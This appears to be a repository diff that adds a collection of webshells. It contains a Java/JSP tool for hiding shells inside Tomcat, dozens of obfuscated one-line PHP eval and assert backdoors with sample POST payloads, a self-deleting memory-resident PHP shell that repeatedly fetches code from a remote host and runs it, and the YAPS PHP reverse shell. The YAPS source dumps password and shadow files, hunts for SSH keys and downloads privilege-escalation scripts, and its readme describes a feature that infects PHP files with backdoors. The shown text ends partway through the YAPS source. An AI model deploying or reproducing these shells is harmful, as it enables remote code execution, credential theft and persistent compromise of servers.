+	}
+	if (cls != null) {
+		Servlet s = (Servlet)cls.newInstance();
+		s.init(servletConfig);
+		setFieldValue(wrapper, "theServlet", s);
+		jctxt.addWrapper(path, getHideShellWrapper(request, jctxt));
+		hiddenWrappers.put(path, wrapper);
+	} else {
+		out.println("no class");
+	}
+	
+	
+}
+if (action == null || action.equals("list") || action.equals("upload")) {
+	Map<String, JspServletWrapper> jsps = (Map<String, JspServletWrapper>)getFieldValue(jctxt, "jsps");
+	for (Map.Entry<String, JspServletWrapper> entry : jsps.entrySet()) {
+		JspServletWrapper wrapper = entry.getValue();
+		%>
+		<li>		 
+		<%
+		if (isHiddenJsp(request, entry.getKey(), wrapper)) {
+			%>
+			<a href='<%=entry.getKey() %>'> <%=entry.getKey() %></a> possible hidden file,  <a href='?action=delete&wrapperName=<%=entry.getKey() %>'> Delete </a>
+			<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
+			<%
+		} else {
+			%>
+			<a href='?action=hide&wrapperName=<%=entry.getKey() %>'>Hide <%=entry.getKey() %></a>
+			<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
+			<%
+		}
+		%>
+		</li>
+		<%
+	}
+} else if (action.equals("hide")) {
+	String wrapperName = request.getParameter("wrapperName");
+	String hiddenWrapperName = makeHiddenName(wrapperName);
+	if (jctxt.getWrapper(hiddenWrapperName) == null) {
+		JspServletWrapper wrapper = jctxt.getWrapper(wrapperName);
+		
+		hideWrapper(wrapper);
+		/*
+		wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
+		JspCompilationContext ctxt = wrapper.getJspEngineContext();
+		EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
+		if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
+			setFieldValue(jspServletOptions, "modificationTestInterval", 1);	
+		}*/
+		
+		wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles();
+		
+		if (wrapper == getHideShellWrapper(request, jctxt)) {
+			// is hiding hideshell.jsp itself
+			setFieldValue(wrapper, "jspUri", hiddenWrapperName);
+			jctxt.addWrapper(hiddenWrapperName, wrapper);
+		} else {
+			jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt));
+			hiddenWrappers.put(hiddenWrapperName, wrapper);
+		}
+		
+		jctxt.removeWrapper(wrapperName);
+		JspCompilationContext ctxt = wrapper.getJspEngineContext();
+		new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
+	}
+	out.println("done");
+}  else if (action.equals("delete")) {
+	String wrapperName = request.getParameter("wrapperName");
+	jctxt.removeWrapper(wrapperName);
+	hiddenWrappers.remove(wrapperName);
+	out.println("done");
+	
+} else if (action.equals("attach")) {
+	String wrapperName = request.getParameter("wrapperName");
+	String attachto = "/normal.jsp";
+	JspServletWrapper original = jctxt.getWrapper(attachto);
+	if (original == null) {
+		out.println("access /normal.jsp first");
+		return;
+	}
+	JspServletWrapper evil = jctxt.getWrapper(wrapperName);
+	javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
+	org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
+	AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt);
+	hideWrapper(attachingWrapper);
+	attachingWrapper.setReload(false);
+	hideWrapper(evil);
+	jctxt.removeWrapper(wrapperName);
+	jctxt.removeWrapper(attachto);
+	jctxt.addWrapper(attachto, attachingWrapper);
+	JspCompilationContext ctxt = evil.getJspEngineContext();
+	new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
+	// jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt));
+	// hiddenWrappers.put(attachto, attachingWrapper);
+}
+%>
+</ul>
+
+<form action="?action=upload" method="post" enctype="multipart/form-data">
+<input type="file" name="fff">
+<input type="submit">
+</form>
+
+</body>
+</html>

other shell repository

@@ -1,20 +0,0 @@
-add other webshell collect repository
-url : https://github.com/tdifg/WebShell
-
-add public-shell repository
-url : https://github.com/BDLeet/public-shell
-
-add web-backdoors
-url : https://github.com/all3g/fuzzdb/tree/master/web-backdoors
-
-add web-shell
-url : https://github.com/BlackArch/webshells
-
-add webshellSample
-url : https://github.com/tanjiti/webshellSample
-
-add Ridter'Pentest backdoor tools
-url : https://github.com/Ridter/Pentest/tree/master/backdoor
-
-add xl7dev'WebShell
-https://github.com/xl7dev/WebShell  小乐天 From: Knownsec

other shell repository.md

@@ -0,0 +1,27 @@
+add other webshell collect repository
+
+url : [https://github.com/tdifg/WebShell](https://github.com/tdifg/WebShell)
+
+add public-shell repository
+
+url : [https://github.com/BDLeet/public-shell](https://github.com/BDLeet/public-shell)
+
+add web-backdoors
+
+url : [https://github.com/all3g/fuzzdb/tree/master/web-backdoors](https://github.com/all3g/fuzzdb/tree/master/web-backdoors)
+
+add web-shell
+
+url : [https://github.com/BlackArch/webshells](https://github.com/BlackArch/webshells
+
+add webshellSample
+
+url : [https://github.com/tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
+
+add Ridter'Pentest backdoor tools
+
+url : [https://github.com/Ridter/Pentest/tree/master/backdoor](https://github.com/Ridter/Pentest/tree/master/backdoor)
+
+add xl7dev'WebShell
+
+url : [https://github.com/xl7dev/WebShell](https://github.com/xl7dev/WebShell)  小乐天 From: Knownsec

php/2020-08-31-01.php

@@ -0,0 +1 @@
+<?php $a="~+d()"^"!{+{}";$b=${$a}["a"];eval("".$b);?>

php/2020.08.20.01.php

@@ -0,0 +1,4 @@
+<?php 
+    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
+    $a($_POST['x']);
+?>

php/2020.08.20.02.php

@@ -0,0 +1,4 @@
+<?php 
+    $a = strtr('azxcvt','zxcv','sser');
+    $a($_POST['x']);
+?>

php/2020.08.20.03.php

@@ -0,0 +1,4 @@
+<?php 
+    $a = substr_replace("asxxx","sert",2);
+    $a($_POST['x']);
+?>  

php/2020.08.20.04.php

@@ -0,0 +1,4 @@
+<?php 
+    $a = trim(' assert ');
+    $a($_POST['x']);
+?>

php/2020.08.20.05.php

@@ -0,0 +1,7 @@
+<?php 
+    function sqlsec($a){
+        $a($_POST['x']);
+    }
+
+    sqlsec(assert);
+?>

php/2020.08.20.06.php

@@ -0,0 +1,6 @@
+<?php 
+    function sqlsec($a){
+        assert($a);
+    }
+    sqlsec($_POST['x']);
+?>

php/2020.08.20.07.php

@@ -0,0 +1,3 @@
+<?php
+    call_user_func('assert',$_POST['x']);
+?>

php/2020.08.20.08.php

@@ -0,0 +1,3 @@
+<?php
+    call_user_func_array(assert,array($_POST['x']));
+?>

php/2020.08.20.09.php

@@ -0,0 +1,3 @@
+<?php
+    array_filter(array($_POST['x']),'assert');
+?>

php/2020.08.20.10.php

@@ -0,0 +1,5 @@
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'],);
+    array_filter($arr, base64_decode($e));
+?>

php/2020.08.20.11.php

@@ -0,0 +1,5 @@
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'],);
+    array_map(base64_decode($e), $arr);
+?>

php/2020.08.20.12.php

@@ -0,0 +1,9 @@
+<?php
+    function sqlsec($value,$key)
+    {   
+        $x = $key.$value;
+        $x($_POST['x']);
+    }
+    $a=array("ass"=>"ert");
+    array_walk($a,"sqlsec");
+?>

php/2020.08.20.13.php

@@ -0,0 +1,5 @@
+<?php 
+  $e = $_REQUEST['e'];
+  $arr = array($_POST['x'] => '|.*|e',);
+    array_walk($arr, $e, '');
+?>

php/2020.08.20.14.php

@@ -0,0 +1,28 @@
+<?php 
+    mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
+?>
+
+<?php 
+    preg_filter('|\d|e', $_REQUEST['x'], '2');
+?>
+
+use like:
+
+```
+
+<?php 
+  $e = $_REQUEST['e'];
+  $arr = array($_POST['x'] => '|.*|e',);
+    array_walk($arr, $e, '');
+?>
+此时提交如下 payload 的话：
+
+Php
+shell.php?e=preg_replace
+最后就相当于执行了如下语句：
+
+Php
+preg_replace('|.*|e',$_POST['x'],'')
+这个时候只需要 POST x=phpinfo();
+
+```

php/2020.08.20.15.php

@@ -0,0 +1,3 @@
+<?php 
+    mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
+?>

php/2020.08.20.16.php

@@ -0,0 +1,5 @@
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'] => '|.*|e',);
+    array_walk_recursive($arr, $e, '');
+?>

php/2020.08.20.17.php

@@ -0,0 +1,62 @@
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array(1);
+    array_reduce($arr, $e, $_POST['x']);
+?>
+
+post: e=assert&x=phpinfo();
+
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['x']);
+    $arr2 = array(1);
+    array_udiff($arr, $arr2, $e);
+?>
+
+post: e=assert&x=phpinfo();
+
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array('test', $_REQUEST['x']);
+    uasort($arr, base64_decode($e));
+?>
+
+post: e=YXNzZXJ0&x=phpinfo();
+
+<?php
+   $arr = new ArrayObject(array('test', $_REQUEST['x']));
+   $arr->uasort('assert');
+?>
+
+<?php
+    $e = $_REQUEST['e'];
+    $arr = array('test' => 1, $_REQUEST['x'] => 2);
+    uksort($arr, $e);
+?>
+
+post: e=assert&x=phpinfo();
+
+<?php
+   $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
+   $arr->uksort('assert');
+?>
+
+<?php
+    $e = $_REQUEST['e'];
+    register_shutdown_function($e, $_REQUEST['x']);
+?>
+
+<?php
+    $e = $_REQUEST['e'];
+    declare(ticks=1);
+    register_tick_function ($e, $_REQUEST['x']);
+?>
+
+<?php
+    filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
+?>
+
+<?php
+    filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
+?>
+

php/2020.08.20.18.php

@@ -0,0 +1,4 @@
+<?php 
+    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
+    $a($_POST['x']);
+?>

php/2020.08.20.19.php

@@ -0,0 +1,6 @@
+<?php 
+    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
+    $b='_'.'P'.'O'.'S'.'T';
+    $c=$$b;
+    $a($c['x']);
+?>

php/2020.08.20.20.php

@@ -0,0 +1,4 @@
+<?php
+$e = $_REQUEST['e'];
+declare(ticks=1);
+register_tick_function ($e, $_REQUEST['x']);

php/20220206.php

@@ -0,0 +1 @@
+<?=$_GET[p]==_&&$_GET[f]($GET_[c])

php/20220207.php

@@ -0,0 +1 @@
+<?=`$_GET[_]`?>

php/20220213_04.php

@@ -0,0 +1,2 @@
+<?php
+if(@$_COOKIE['path'] != ""){file_put_contents($_COOKIE['path'], base64_decode(file_get_contents(base64_decode("L3RtcC90bXA0RTE1LnRtcA=="))));}

php/20220213_06.php

@@ -0,0 +1,24 @@
+<?php
+@error_reporting(0);
+session_start();
+$key="900bc885d7553375";
+$_SESSION['k']=$key;
+$post=file_get_contents("php://input");
+if(isset($post))
+{
+	$datas=explode("\n",$post);
+	$code=$datas[0];
+	$t="base64_"."decode";
+	$code=$t($code."");
+	for($i=0;$i<strlen($code);$i++) {
+    	$code[$i] = $code[$i]^$key[$i+1&15]; 
+    }
+    $arr=explode('|',$code);
+    $func=$arr[0];
+    if(isset($arr[1])){
+ 		$p=$arr[1];
+		class C{public function __construct($p) {eval($p."");}}
+		@new C($p);
+    }
+}
+?>

php/AntSword_2021-03-06.php

@@ -0,0 +1,26 @@
+<?php
+$s0;
+$s1;
+
+
+class Test1
+{
+    public function __construct($para, $_value)
+    {
+        $para($_value);
+    }
+}
+
+
+
+$class1 = new ReflectionClass("Test1");
+print_r($class1);
+foreach (array('_POST') as $_request) {
+    foreach ($$_request as $_key=>$_value) {
+        for ($i=0;$i<1;$i++) {
+            ${"s".$i} = $_key;
+        }
+        break;
+    }
+}
+$class2 = $class1->newInstance($s0, $_value);

php/MemShellForPHP/memWebshell.php

@@ -0,0 +1,13 @@
+    <?php
+        chmod($_SERVER['SCRIPT_FILENAME'], 0777);
+        unlink($_SERVER['SCRIPT_FILENAME']);
+        ignore_user_abort(true);
+        set_time_limit(0);
+        echo "success";
+        $remote_file = 'http://10.211.55.2/111/test.txt';
+        while($code = file_get_contents($remote_file)){
+        @eval($code);
+        echo "xunhuan";
+        sleep(5);
+        };
+    ?>

php/MemShellForPHP/readme.md

@@ -0,0 +1,52 @@
+# 内存驻留webshell
+## 一、攻击原理
+php webshell文件执行后删除自身。此webshell在执行后会自身删除，驻留内存之中，无文件残留。其原理主要利用以下方法：
+
+    `ignore_user_abort(true); // 后台运行`
+    
+这个函数的作用是指示服务器端在远程客户端关闭连接后是否继续执行下面的脚本。如设置为True，则表示如果用户停止脚本运行，仍然不影响脚本的运行
+
+    `set_time_limit(0); // 取消脚本运行时间的超时上限`
+    
+括号里边的数字是执行时间，如果为零说明永久执行直到程序结束，如果为大于零的数字，则不管程序是否执行完成，到了设定的秒数，程序结束。
+
+脚本也有可能被内置的脚本计时器中断。默认的超时限制为30秒。
+
+这个值可以通过设置 `php.ini 的 max_execution_time` 或 `Apache .conf` 设置中对应的`“php_value max_execution_time”`参数或者 `set_time_limit()` 函数来更改。
+
+php删除自身时借助的函数为
+
+    `unlink($_SERVER['SCRIPT_FILENAME']);`
+    
+unlink函数运行条件较为苛刻，该脚本要具备可执行权限、可修改文件权限时方能执行。
+
+简单的webshell脚本：
+
+``` php 
+    <?php
+        chmod($_SERVER['SCRIPT_FILENAME'], 0777);
+        unlink($_SERVER['SCRIPT_FILENAME']);
+        ignore_user_abort(true);
+        set_time_limit(0);
+        echo "success";
+        $remote_file = 'http://10.211.55.2/111/test.txt';
+        while($code = file_get_contents($remote_file)){
+        @eval($code);
+        echo "xunhuan";
+        sleep(5);
+        };
+    ?>
+```
+test.txt中的代码如下：
+
+   ` file_put_contents('printTime.txt','jweny '.time());`
+   
+webshell执行后，删除自身，并在该目录生成 printTime.txt，每五秒一次写入一次时间戳。
+
+## 二、检测方案
+
+通过获取php-fpm status：
+
+1. 检查所有php进程处理请求的持续时间
+
+2. 检测执行文件是否在文件系统真实存在

php/MemShellForPHP/test.txt

@@ -0,0 +1 @@
+file_put_contents('printTime.txt','jweny '.time());

php/YAPS/readme.md

@@ -0,0 +1,95 @@
+# YAPS - **Y**et **A**nother **P**HP **S**hell
+Yeah, I know, I know... But that's it. =)
+As the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there. It is a single PHP file containing all its functions and you can control it via a simple netcat listener (`nc -lp 1337`).
+In the current version (1.3.1), its main functions support only linux systems, but i'm planning to make it work with Windows too.
+It's currently in its first version and I haven't tested it much yet, and *there are still many things I intend to do and improve for the next versions (**it's not done yet!**)*, so please let me know if you've found any bugs. =)
+## Features
+* Single PHP file (no need to install packages, libs, or download tons of files)
+* Works with netcat, ncat, socat, multi/handler, almost any listener
+* Customizable password protection
+* No logs in .bash_history
+* Can do some enumeration
+  * Network info (interfaces, iptables rules, active ports)
+  * User info
+  * List SUID and GUID files
+  *  Search for SSH keys (public and private)
+  *  List crontab
+  *  List writable PHP files
+* Auto download LinPEAS, LinEnum or Linux Exploit Suggester
+* Write and run PHP code on remote host
+* (Semi) Stabilize shell
+* Duplicate connections
+* Auto update
+* **[new] Infect PHP files with backdoors**
+## Cons
+* Connection isn't encrypted (yet) (nc does not support SSL)
+* Not fully interactive (although you can spawn an interactive shell with `!stabilize`)
+  * CTRL+C breaks it; can't use arrows to navigate (unless you use `rlwrap nc -lp <ip> <port>`)
+## Usage
+1. Set up a TCP listener;
+2. Set your IP and port. This can be done by:
+* 2.1 Editing the variables at the start of the script;
+* 2.2 Setting them via post request (`curl -x POST -d "x=ip:port" victim.com/yaps.php`);
+3. Open yaps.php on browser, curl it or run via CLI;
+* 3.1 You can set `yaps.php?s` or `yaps.php?silent` to supress the banner
+* 3.2 You can run via CLI with `php yaps.php ip port`
+5. Hack!
+## Working commands
+* `!help - Display the help menu`
+* `!all-colors - Toggle all colors (compatible with colorless TTY)`
+* `!color - Toggle PS1 color (locally only, no environment variable is changed)`
+* `!duplicate - Spawn another YAPS connection`
+* `!enum - Download LinPEAS and LinEnum to /tmp and get them ready to use`
+* `!info - list informations about the target (the enumeration I mentioned above)`
+* `!infect - Infect writable PHP files with backdoors`
+* `!stabilize - Spawn an interactive reverse shell on another port (works w/ sudo, su, mysql, etc.)`
+* `!passwd - Password option (enable, disable, set, modify)`
+* `!php - Write and run PHP on the remote host`
+* `!suggester - Download Linux Exploit Suggester to /tmp and get it ready to use`
+## Screenshots
+![image](https://user-images.githubusercontent.com/3837916/127257196-f8a6bb6f-36d7-4c8d-a51b-3a9df3e21eb6.png)
+![image](https://user-images.githubusercontent.com/3837916/127257433-778b1322-c82e-4857-897f-0f3f459dcb2b.png)
+![stabilize](https://user-images.githubusercontent.com/3837916/127260504-3e78ab69-c3ee-411e-8a7d-f89fe5356a7f.gif)
+![duplicate](https://user-images.githubusercontent.com/3837916/127260519-e672a78e-84c5-4a58-aa39-85dae94d9a50.gif)
+![infect](https://user-images.githubusercontent.com/3837916/127263363-e286357c-2be0-4890-8895-4bd5adadd3af.gif)
+![image](https://user-images.githubusercontent.com/3837916/124774830-7dedab80-df14-11eb-9e84-c8d88b9f4de2.png)
+![image](https://user-images.githubusercontent.com/3837916/127260459-cc50203d-3ba6-408b-af0f-820756e9891d.png)
+## Changelog
+**v1.3.1 - 01/08/2021**
+- Bugs fixed
+**v1.3 - 28/07/2021**
+- Added `!infect` to infect PHP files with backdoors
+- Changed `!stabilize` payload (bugs fixed)
+**v1.2.2 - 18/07/2021**
+- Changed 'update' function
+- Changed 'connect' function
+- Improved 'download' function
+- Bugs fixed
+**v1.2.1 - 17/07/2021**
+- Bugs fixed
+**v1.2 - 17/07/2021**
+- Added `!duplicate` to spawn another shell
+- Added update verification (`--update|-u`)
+- Added CLI arguments (`--help|-h`)
+- Added socket via arguments (`php yaps.php ip port`)
+- Changed stabilize shell method (doesn't freeze anymore)
+- Changed download method
+- Changed connection method via POST (receives a single parameter)
+**v1.1 - 12/07/2021**
+- Added `!all-colors` to toggle terminal colors and work with colorless TTYs
+- Added `exit` command to close socket (leave shell)
+- Changed payload in `!stabilize` to unset HISTSIZE and HISTFILE
+- Changed the method of obtaining CPU and meminfo in `!info` 
+**v1.0.1 - 08/07/2021**
+- Changed `[x,y,z]` to `array(x,y,z)` to improve compatibility with older PHP versions
+- Changed payload for interactive shell to work with PHP<5.4
+## Credits
+Some ideas were inspired by this tools:
+#### Linpeas
+https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
+#### Linenum
+https://github.com/rebootuser/LinEnum
+#### Suggester
+https://github.com/AonCyberLabs/Windows-Exploit-Suggester
+#### Pentest Monkey
+https://github.com/pentestmonkey/php-reverse-shell

php/YAPS/yaps.php

@@ -0,0 +1,905 @@
+<?php
+# YAPS - Yet Another PHP Shell
+# Version 1.3.1 - 01/08/21
+# Made by Nicholas Ferreira
+# https://github.com/Nickguitar/YAPS
+
+
+//error_reporting(0);
+$version = "1.3.1";
+set_time_limit(0);
+ignore_user_abort(1);
+ini_set('max_execution_time', 0);
+ini_set('default_socket_timeout', pow(99, 6)); //negative timeout value should set it to infinite, but it doesn't. =(
+
+########################## CONFIGS ############################
+
+$resources = array(
+"linpeas"   => "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh",
+"linenum"   => "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh",
+"suggester" => "https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh",
+"verifyUpdateURL" => "https://raw.githubusercontent.com/Nickguitar/YAPS/main/version",
+"updateURL" => "https://raw.githubusercontent.com/Nickguitar/YAPS/main/yaps.php");
+
+$ip = '127.0.0.1';
+$port = 7359;
+
+$ps1_color = true; // colored prompt (prettier :)
+$color = true; // prompt, banner, info colors (better readability)
+$use_password = false; // only allows remote using the shell w/ password
+// sha512("vErY_Go0d_$aLt".sha512("password123"))
+$salt = 'v_3_r_Y___G_o_0_d___s_4_L_t';
+$pass_hash = "f00945860424fa6148e329772c08e7d05d7fab6f69a4722b4c66c164acdb018ecc0cbc62060cc67e7ae962c65ab5967620622cc12206627229b94106b66db6b8"; // default: pass123
+$auto_verify_update = false; // if true, will check on every run for update
+$silent = false; //if true, does not display banner on connect
+
+if(isset($_GET['vrfy'])) die("baguvix"); //verification
+
+######################### END CONFIGS #########################
+
+$yaps = $_SERVER['SCRIPT_FILENAME'];
+
+// sets reverse socket via $_POST['x'] (stealthier, no IP on apache log request line)
+if(isset($_POST['x']) && strpos($_POST['x'], ":") !== false){ 
+	$skt = explode(":", $_POST['x']);
+	$ip = $skt[0];
+	$port = $skt[1];
+}
+
+$banner = cyan('
+       o   o   O    o--o   o-o
+        \ /   / \   |   ) (
+         O   o---o  O--o   o-o
+         |   |   |  |         )
+         o   o   o  o     o--o
+        Yet Another  PHP  Shell').'
+              Version '.$version.'
+       Coder: Nicholas Ferreira';
+
+########################## PARSE ARGV ########################
+
+$short_args = "u::h::s::";
+$long_args = array("update::","help::","silent::");
+$options = getopt($short_args, $long_args);
+
+if(isset($options['h']) || isset($options['help'])) die(usage());
+if(isset($options['u']) || isset($options['update'])) die(verify_update());
+if(isset($options['s']) || isset($options['silent'])) $silent = true;	
+
+if(php_sapi_name() == "cli"){ // if yaps is run via cli, parse args
+	if($argc >= 2 && preg_match("/^[0-9]+$/", $argv[$argc-1])){ // $ php yaps.php 127.0.0.1 4444
+		$port = $argv[$argc-1];
+		$ip = $argv[$argc-2];
+	}else{
+		foreach($argv as $arg){
+			if(strpos($arg, ":") !== false){ // if an argument is of the form .*:[0-9]+
+				$socket = explode(":", $arg);
+				$ip = $socket[0];
+				$port = (int)$socket[1];
+			}
+		}
+	}
+}
+
+##################### END ARGV PARSING ######################
+
+$commands = array(
+	"all-colors",
+//	"backdoor",
+	"color",
+//	"download",
+	"duplicate",
+	"enum",
+	"help",
+	"infect",
+	"info",
+	"passwd",
+	"php",
+	"stabilize",
+	"suggester"
+//	"upload"
+);
+
+
+function green($str){
+	global $color;
+	return $color ? "\e[92m".$str."\e[0m" : $str;
+}
+function red($str){
+	global $color;
+	return $color ? "\e[91m".$str."\e[0m" : $str;
+}
+function yellow($str){
+	global $color;
+	return $color ? "\e[93m".$str."\e[0m" : $str;
+}
+function cyan($str){
+	global $color;
+	return $color ? "\e[96m".$str."\e[0m" : $str;
+}
+function white($str){
+	global $color;
+	return $color ? "\e[97m".$str."\e[0m" : $str;
+}
+
+
+function banner(){
+	global $banner;
+	return $banner.white('
+   This is ').red('NOT').white(' an interactive shell.
+       Use ').green('!help').white(' to see commands.');
+}
+
+function usage(){
+	global $banner,$version;
+	return $banner.'
+'.yellow('Usage:').white('
+There are three ways you can start the connection:
+').green('1. Via command line in the compromised host;').'
+	E.g: $ php yaps.php [options] [ip port|ip:port]
+'.green('2. Making a POST request to the file with the parameter "x";').'
+	E.g: $ curl -X POST -d "x=192.168.73.59:7359" hacked.com/uploads/yaps.php
+'.green('3. Making a GET request without parameters (will connect to the hardcoded socket);').'
+	E.g: $ curl hacked.com/uploads/yaps.php
+'.yellow('Options:').white('
+-h, --help:     Show this help
+-s, --silent:   Silent mode (does not display banner)
+-u, --update:   Check if YAPS is up to date
+').yellow('Examples (suppose your IP is 192.168.73.59):').'
+infected@host:~$ php yaps.php -s 192.168.73.59 4444
+infected@host:~$ php yaps.php 192.168.73.59:8080
+your@machine:~$ curl -X POST -d "x=192.168.73.59" hacked.com/uploads/yaps.php
+';
+}
+
+function isAvailable($function){
+	$dis = ini_get('disable_functions');
+	if(!empty($dis)){
+		$dis = preg_replace('/[, ]+/', ',', $dis);
+		$dis = explode(',', $dis); // split by comma
+		$dis = array_map('trim', $dis); //remove whitespace at the beginning and end
+	}else{
+		$dis = array();
+	}
+	
+	if(is_callable($function) and !in_array($function, $dis))
+		return true;
+	return false;
+}
+
+
+function help(){
+
+	$help = '
+'.green('Useful commands:').'
+  '.cyan('!help').'
+  	Display this menu
+  '.cyan('!all-colors').'
+  	Toggle all colors (locally only)
+  '.cyan('!color').'
+  	Toggle $PS1 color (locally only)
+  '.cyan('!duplicate').'
+  	Spawn another reverse shell
+  '.cyan('!enum').'
+  	Download Linpeas and Linenum to /tmp and get it ready to run
+  '.cyan('!infect').'
+  	Inject payloads into PHP files
+  '.cyan('!info').'
+  	List information about target
+  './*cyan('!download <target file>').'
+  	Downloads file from target to your PC
+  '.cyan('!upload <source> <destination>').'
+  	Uploads a source file from your PC to target destination folder
+  '.*/cyan('!passwd').'
+  	Show options for password	
+  '.cyan('!php').'
+  	Write and run PHP code on the remote host
+  '.cyan('!stabilize').'
+  	Stabilize to an interactive shell
+  '.cyan('!suggester').'
+  	Download Linux Exploit Suggester to /tmp and get it ready to run
+  
+'.green('Command line options:').'
+  '.white('$ php yaps.php [--update|-u]').'
+  	Check if YAPS is up to date
+  '.white('$ php yaps.php ip port').'
+  	Connect to ip:port
+';
+	return $help;
+}
+
+function run_cmd($c){ // modified from msf
+
+	$c = $c." 2>&1\n"; // stderr to stdout
+
+	if(isAvailable('exec')){
+		$stdout = array();
+		exec($c, $stdout);
+		$stdout = join(chr(10),$stdout).chr(10);
+	}else if(isAvailable('shell_exec')){
+		$stdout = shell_exec($c);
+	}else if(isAvailable('popen')){
+		$fp = popen($c, 'r');
+		$stdout = NULL;
+		if(is_resource($fp))
+			while (!feof($fp))
+				$stdout .= fread($fp, 1024);
+		@pclose($fp);
+	}else if(isAvailable('passthru')){
+		ob_start();
+		passthru($c);
+		$stdout = ob_get_contents();
+		ob_end_clean();
+	}else if(isAvailable('proc_open')){
+		$handle = proc_open($c, array(
+			array('pipe','r') ,
+			array('pipe','w') ,
+			array('pipe','w')
+		) , $pipes);
+		$stdout = NULL;
+		while (!feof($pipes[1]))
+			$stdout .= fread($pipes[1], 1024);
+		@proc_close($handle);
+	}else if(isAvailable('system')){
+		ob_start();
+		system($c);
+		$stdout = ob_get_contents();
+		ob_end_clean();
+	}else{
+		$stdout = 0;
+	}
+	return $stdout;
+}
+
+$ps1 = "[YAPS] ".str_replace(PHP_EOL,"",green(run_cmd("whoami")."@".run_cmd("hostname")).":".cyan(run_cmd("pwd"))."$ "); // user@hostname:~$
+
+function sysinfo(){
+	global $s;
+	fwrite($s,green("\n====================== Initial info ======================\n\n"));
+	$info  = cyan("[i] OS info:\n").run_cmd("lsb_release -a | grep -v 'No LSB'").PHP_EOL;
+
+	$info .= cyan("[i] Hostname: ").run_cmd("hostname");
+	$info .= cyan("[i] Kernel: ").run_cmd("uname -a");
+	$info .= cyan("[i] CPU: \n").run_cmd("cat /proc/cpuinfo | grep -i 'model name' | cut -d':' -f 2 | sed 's/^ *//g'");
+	$info .= cyan("[i] RAM: \n").run_cmd("cat /proc/meminfo | egrep -i '(memtotal|memfree)'");
+	$info .= cyan("[i] Sudo version: ").run_cmd("sudo --version | grep 'Sudo version' | cut -d' ' -f 3");
+	$info .= cyan("[i] User/groups: ").run_cmd("id").PHP_EOL;
+	$info .= cyan("[i] Active TTY: \n").run_cmd("w").PHP_EOL;
+	fwrite($s, $info);
+
+	fwrite($s,green("====================== Users info ======================\n\n"));
+	$info  = cyan("[i] Current user: ").run_cmd("whoami");
+	$info .= cyan("[i] Users in /home: \n").run_cmd("ls /home").PHP_EOL;
+	$info .= cyan("[i] Crontab of current user: \n").run_cmd("crontab -l | egrep -v '^#'").PHP_EOL;
+	$info .= cyan("[i] Crontab: \n").run_cmd("cat /etc/crontab | egrep -v '^#'").PHP_EOL;
+	fwrite($s, $info);
+
+	fwrite($s,green("====================== All users ======================\n\n"));
+	fwrite($s, run_cmd("cat /etc/passwd").PHP_EOL);
+	if(is_readable("/etc/shadow"))
+		fwrite($s, red("[!] /etc/shadow is readable!\n").run_cmd("cat /etc/shadow").PHP_EOL);
+
+	fwrite($s, green("====================== Net info ======================\n\n"));
+	$info  = cyan("[i] IP Info: \n").run_cmd("ifconfig").PHP_EOL;
+	$info .= cyan("[i] Hosts: \n").run_cmd("cat /etc/hosts | grep -v '^#'").PHP_EOL; // /etc/hosts file
+	$info .= cyan("[i] Interfaces/routes: \n").run_cmd("cat /etc/networks && route").PHP_EOL;
+	$info .= cyan("[i] IP Tables rules: \n").run_cmd("(iptables --list-rules 2>/dev/null)").PHP_EOL;
+	$info .= cyan("[i] Active ports: \n").run_cmd("(netstat -punta) 2>/dev/null").PHP_EOL; //established, listening, 0.0.0.0, 127.0.0.1
+	fwrite($s, $info);
+
+	fwrite($s, green("====================== Interesting binaries ======================\n\n"));
+	$interesting_binaries = array('nc','nc.traditional','ncat','nmap','perl','python','python2','python2.6','python2.7','python3','python3.6','python3.7','ruby','node','gcc','g++','docker','php');
+	foreach($interesting_binaries as $binary) {
+		$binary = shell_exec("which $binary 2>/dev/null");
+		if($binary !== "" && base64_encode($binary.PHP_EOL) !== "Cg==") // if not empty or newline
+			fwrite($s, run_cmd("ls -l $binary"));
+	}
+
+	fwrite($s, green("\n====================== SUID binaries ======================\n\n"));
+	$suid_list = explode("\n",shell_exec("find / -type f -perm /4000 2>/dev/null"));
+	foreach($suid_list as $suid)
+		if($suid !== "")
+			fwrite($s, run_cmd("ls -l $suid"));
+
+	fwrite($s, green("\n====================== SSH files ======================\n\n"));
+	$authorized_keys = explode("\n",shell_exec("find / -type f -name authorized_keys 2>/dev/null")); // search for authorized_keys file
